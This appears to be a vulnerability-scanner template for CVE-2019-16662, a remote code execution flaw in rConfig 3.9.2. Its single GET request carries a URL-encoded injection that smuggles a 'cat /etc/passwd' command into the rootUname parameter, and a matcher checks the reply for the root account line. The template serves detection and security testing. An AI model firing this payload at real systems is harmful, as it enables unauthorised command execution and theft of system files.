44 lines
1.7 KiB
YAML
44 lines
1.7 KiB
YAML
id: CVE-2019-16662
|
|
|
|
info:
|
|
name: rConfig 3.9.2 - Remote Code Execution
|
|
author: pikpikcu
|
|
severity: critical
|
|
description: rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.
|
|
remediation: |
|
|
Upgrade to a patched version of rConfig (3.9.3 or later) or apply the vendor-supplied patch to mitigate this vulnerability.
|
|
reference:
|
|
- https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-16662
|
|
- https://drive.google.com/open?id=1OXI5cNuwWqc6y-7BgNCfYHgFPK2cpvnu
|
|
- http://packetstormsecurity.com/files/154999/rConfig-3.9.2-Remote-Code-Execution.html
|
|
- http://packetstormsecurity.com/files/155186/rConfig-3.9.2-Command-Injection.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2019-16662
|
|
cwe-id: CWE-78
|
|
epss-score: 0.97573
|
|
epss-percentile: 0.99999
|
|
cpe: cpe:2.3:a:rconfig:rconfig:3.9.2:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: rconfig
|
|
product: rconfig
|
|
tags: intrusive,rconfig,packetstorm,cve,cve2019,rce
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|